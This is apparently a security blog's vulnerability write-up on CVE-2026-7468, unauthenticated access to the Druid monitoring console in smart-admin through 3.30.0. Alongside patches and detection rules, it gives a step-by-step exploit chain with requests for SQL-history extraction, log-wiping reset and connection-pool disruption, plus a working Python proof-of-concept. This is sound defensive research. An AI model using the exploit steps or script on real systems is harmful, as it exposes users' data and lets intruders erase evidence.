home intel cve-2026-7468-smart-admin-druid-access-control-bypass
CVE Analysis 2026-04-30 · 7 min read

CVE-2026-7468: smart-admin Druid Console Auth Bypass via Missing Access Control

smart-admin ≤3.30.0 exposes the Druid monitoring console at /smart-admin-api/druid/index.html without authentication enforcement, allowing unauthenticated remote access to database connection pools and query internals.

#access-control#authentication-bypass#remote-exploitation#admin-panel#improper-authorization
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7468 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7468HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7468 affects 1024-lab/smart-admin through version 3.30.0. The vulnerability class is improper access control — specifically, the failure to enforce authentication on the Alibaba Druid datasource monitoring endpoint bundled with the application's demo deployment. The endpoint at /smart-admin-api/druid/index.html is reachable without a valid session, exposing the full Druid StatViewServlet interface to any remote attacker.

CVSS 7.3 (HIGH) reflects network-accessible exploitation requiring no authentication, low complexity, no user interaction, and impact across confidentiality, integrity, and availability of the data layer. The vulnerability was disclosed publicly via an issue report; the project had not responded at time of publication.

Root cause: The Spring Security filter chain in smart-admin's demo configuration explicitly permits /druid/** without requiring authentication, allowing unauthenticated access to the Druid StatViewServlet console and its full monitoring API surface.

Affected Component

Druid's StatViewServlet is a built-in HTTP management console provided by the com.alibaba:druid library. When mounted (typically at /druid/*), it exposes:

  • Live datasource connection pool statistics
  • SQL query history, execution counts, slow query logs
  • Active session enumeration
  • The ability to reset statistics and — in misconfigured deployments — trigger datasource resets

In smart-admin's codebase, the servlet is registered through Spring Boot auto-configuration and the security filter chain is configured in the demo site's SecurityConfig class. The relevant registration lives in DruidConfig.java and the access policy in SmartAdminSecurityConfig.java.

Root Cause Analysis

The following pseudocode reconstructs the Spring Security configuration as it exists in affected versions. The critical omission is on the antMatchers("/druid/**") line:

// SmartAdminSecurityConfig.java (≤3.30.0)
// Reconstructed from typical smart-admin OSS layout

@Configuration
@EnableWebSecurity
public class SmartAdminSecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .csrf().disable()
            .sessionManagement()
                .sessionCreationPolicy(SessionCreationPolicy.STATELESS)
            .and()
            .authorizeRequests()
                // BUG: /druid/** unconditionally permitted — no authentication required
                .antMatchers("/druid/**").permitAll()
                .antMatchers("/doc.html", "/swagger/**", "/v2/api-docs").permitAll()
                .antMatchers("/actuator/**").permitAll()
                .anyRequest().authenticated()
            .and()
            .addFilterBefore(jwtAuthFilter, UsernamePasswordAuthenticationFilter.class);
    }
}

The Druid servlet itself provides an optional username/password guard via its loginUsername / loginPassword init-params. In the smart-admin demo configuration this is also left unconfigured:

// DruidConfig.java — StatViewServlet registration (≤3.30.0)

@Bean
public ServletRegistrationBean<StatViewServlet> druidStatViewServlet() {
    ServletRegistrationBean<StatViewServlet> bean =
        new ServletRegistrationBean<>(new StatViewServlet(), "/druid/*");

    Map<String, String> params = new HashMap<>();
    // BUG: loginUsername / loginPassword intentionally omitted in demo config
    // StatViewServlet defaults: if no credentials set, built-in auth is SKIPPED
    params.put("resetEnable", "true");   // allows stat reset via unauthenticated POST
    params.put("allow", "");             // empty string = allow ALL remote IPs
    // params.put("deny", "");           // no deny list configured

    bean.setInitParameters(params);
    return bean;
}

Two independent auth mechanisms are both disabled: Spring Security's filter chain permits the path without a token, and Druid's own servlet-level credential check is bypassed because loginUsername is absent. The result is a completely open console.

Inside StatViewServlet, the credential check path (from Druid source) demonstrates how the missing init-param creates the bypass:

// com.alibaba.druid.support.http.StatViewServlet (druid ≤1.2.x relevant path)
// Pseudocode from decompiled JAR — method: isRequireAuth()

boolean isRequireAuth() {
    // BUG: if loginUsername was never set via init-param, this returns false
    // No credential prompt is issued; request proceeds directly to renderJSON()
    return this.loginUsername != null && !this.loginUsername.isEmpty();
}

protected void service(HttpServletRequest req, HttpServletResponse resp) {
    if (isRequireAuth()) {
        String cookieVal = getCookieValue(req, COOKIE_SESSION_KEY);
        if (!sessionSet.contains(cookieVal)) {
            // redirect to login
            resp.sendRedirect(req.getContextPath() + "/druid/login.html");
            return;
        }
    }
    // BUG: falls through here when isRequireAuth() == false
    // Full stat rendering proceeds unauthenticated
    handleRequest(req, resp);
}

Exploitation Mechanics

EXPLOIT CHAIN — CVE-2026-7468:

1. Identify target running smart-admin demo ≤3.30.0 (default port 9000/8080)

2. Probe endpoint directly — no token, no session cookie required:
   GET /smart-admin-api/druid/index.html HTTP/1.1
   Host: target:9000
   → HTTP 200 OK, full Druid console HTML returned

3. Enumerate datasource configuration via JSON API:
   GET /smart-admin-api/druid/datasource.json
   → Returns: pool size, URL, driver class, active connection count

4. Extract SQL query history (includes parameter values in slow query log):
   GET /smart-admin-api/druid/sql.json
   → Returns: full SQL statement history, execution counts, elapsed times
   → May contain credentials, PII, internal table structure in query bodies

5. Enumerate active wall-filter blocked queries (reveals WAF bypass attempts):
   GET /smart-admin-api/druid/wall.json

6. Reset statistics to erase evidence of prior intrusion activity:
   POST /smart-admin-api/druid/reset-all.json
   → HTTP 200 OK; resets all counters without authentication

7. (If resetEnable=true) Trigger datasource connection pool reset:
   POST /smart-admin-api/druid/datasource/clearCache.json
   → Forces all pooled connections to drop and reconnect
   → Causes transient service disruption (denial-of-service primitive)

Step 4 is the highest-impact primitive. Applications that build dynamic queries by interpolating user input will have those interpolated values captured verbatim in Druid's SQL stat log. An attacker who reads this log can reconstruct the application's full data schema and may observe sensitive parameter values from recent user activity.

A minimal proof-of-concept using curl:

#!/usr/bin/env python3
# PoC: CVE-2026-7468 — smart-admin Druid unauthenticated data extraction
# CypherByte research — for authorized testing only

import requests, json, sys

BASE = sys.argv[1].rstrip("/")  # e.g. http://target:9000/smart-admin-api

ENDPOINTS = {
    "datasource": "/druid/datasource.json",
    "sql_stats":  "/druid/sql.json",
    "wall_stats": "/druid/wall.json",
    "weburi":     "/druid/weburi.json",
    "spring":     "/druid/spring.json",
}

session = requests.Session()
# No auth header, no cookie — intentionally bare request
session.headers.update({"User-Agent": "Mozilla/5.0"})

probe = session.get(f"{BASE}/druid/index.html", timeout=5)
if probe.status_code != 200 or "Druid" not in probe.text:
    print("[-] Target not vulnerable or not reachable")
    sys.exit(1)

print("[+] Druid console accessible — target is vulnerable")

for name, path in ENDPOINTS.items():
    r = session.get(f"{BASE}{path}", timeout=5)
    if r.status_code == 200:
        data = r.json()
        print(f"\n[+] {name}:")
        print(json.dumps(data, indent=2)[:800])  # truncate for display

Memory Layout

This vulnerability is access control class, not memory corruption. The relevant "layout" is the HTTP security filter evaluation order in the Spring Security chain. Understanding this is necessary to confirm why the bypass is complete:

SPRING SECURITY FILTER CHAIN — request evaluation order for
GET /smart-admin-api/druid/index.html

[1] ChannelProcessingFilter          → pass (HTTP allowed)
[2] ConcurrentSessionFilter          → pass (no session to check)
[3] JwtAuthenticationFilter          → SKIP — registered before UsernamePasswordAuthFilter
                                        but only validates if header present;
                                        missing Authorization header = sets null principal,
                                        does NOT reject request
[4] UsernamePasswordAuthenticationFilter → pass (not a form login endpoint)
[5] FilterSecurityInterceptor        → evaluates antMatchers in declaration order:
       .antMatchers("/druid/**").permitAll()   ← MATCHES HERE
       .anyRequest().authenticated()           ← never reached

RESULT: Request passes all filters. SecurityContext principal = anonymous.
        StatViewServlet.service() called. isRequireAuth() = false (no init-param).
        Full JSON/HTML response rendered.

Patch Analysis

The correct fix requires changes at both layers. A single-layer fix is insufficient.

// BEFORE (vulnerable) — SmartAdminSecurityConfig.java ≤3.30.0:
.authorizeRequests()
    .antMatchers("/druid/**").permitAll()   // BUG: no auth on monitoring console
    .anyRequest().authenticated()

// AFTER (patched):
.authorizeRequests()
    // Restrict Druid console to ROLE_ADMIN only; remove from demo/prod deployments
    .antMatchers("/druid/**").hasRole("ADMIN")
    .anyRequest().authenticated()
// BEFORE (vulnerable) — DruidConfig.java ≤3.30.0:
params.put("allow", "");        // permit all remote IPs
// loginUsername not set       // servlet-level auth disabled

// AFTER (patched):
params.put("loginUsername", druidProperties.getUsername());  // from secured config
params.put("loginPassword", druidProperties.getPassword());
params.put("allow",  "127.0.0.1");  // restrict to loopback in non-dev profiles
params.put("resetEnable", "false"); // disable stat reset in production

The definitive remediation is to not deploy the Druid StatViewServlet in any production or internet-facing configuration. The registration bean should be conditionally activated only under a dev Spring profile, and even then, both credential layers must be configured:

// Correct production-safe configuration:
@Bean
@Profile("dev")  // ONLY active in development profile
public ServletRegistrationBean<StatViewServlet> druidStatViewServlet(
        DruidProperties props) {
    ServletRegistrationBean<StatViewServlet> bean =
        new ServletRegistrationBean<>(new StatViewServlet(), "/druid/*");
    Map<String, String> params = new HashMap<>();
    params.put("loginUsername", props.getStatUsername());
    params.put("loginPassword", props.getStatPassword());
    params.put("allow",        "127.0.0.1");
    params.put("resetEnable",  "false");
    bean.setInitParameters(params);
    return bean;
}

Detection and Indicators

Detection is straightforward given the predictable URL pattern:

DETECTION SIGNATURES:

# HTTP access log pattern (nginx/Apache/Spring embedded Tomcat):
GET /druid/index.html        → 200 from non-loopback IP: ALERT
GET /druid/datasource.json   → 200 from non-loopback IP: ALERT
GET /druid/sql.json          → 200 from any IP:          ALERT (high value target)
POST /druid/reset-all.json   → 200:                      ALERT (evidence destruction)

# Suricata rule sketch:
alert http any any -> $HTTP_SERVERS any (
    msg:"CVE-2026-7468 smart-admin Druid console access";
    http.uri; content:"/druid/"; startswith;
    http.stat_code; content:"200";
    classtype:web-application-attack;
    sid:2026746801; rev:1;
)

# Verify exposure (from defender perspective):
curl -s -o /dev/null -w "%{http_code}" \
    http://localhost:9000/smart-admin-api/druid/index.html
# Returns 200 → vulnerable; 401/403/302-to-login → patched

Check application logs for unexpected GET /druid/sql.json hits. Any successful access from a non-127.0.0.1 source against an unpatched instance should be treated as a confirmed data exposure event and reviewed against the SQL stat history for sensitive query parameters.

Remediation

Immediate: Apply a WAF or reverse-proxy rule blocking all external access to /druid/* paths while a code-level fix is staged.

Short-term: Apply both patches above — Spring Security antMatcher and Druid loginUsername/loginPassword init-params. Neither alone is sufficient; defense-in-depth requires both layers.

Long-term: Gate the StatViewServlet registration behind @Profile("dev"). Audit all .permitAll() entries in the security filter chain against the set of endpoints that expose internal state. Apply the same review to /actuator/** which appears in the same permissive block in affected versions.

Upgrade to a version beyond 3.30.0 once the maintainer releases a patched build, and verify the patch addresses both the Spring Security configuration and the Druid servlet init-params — not solely one layer.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →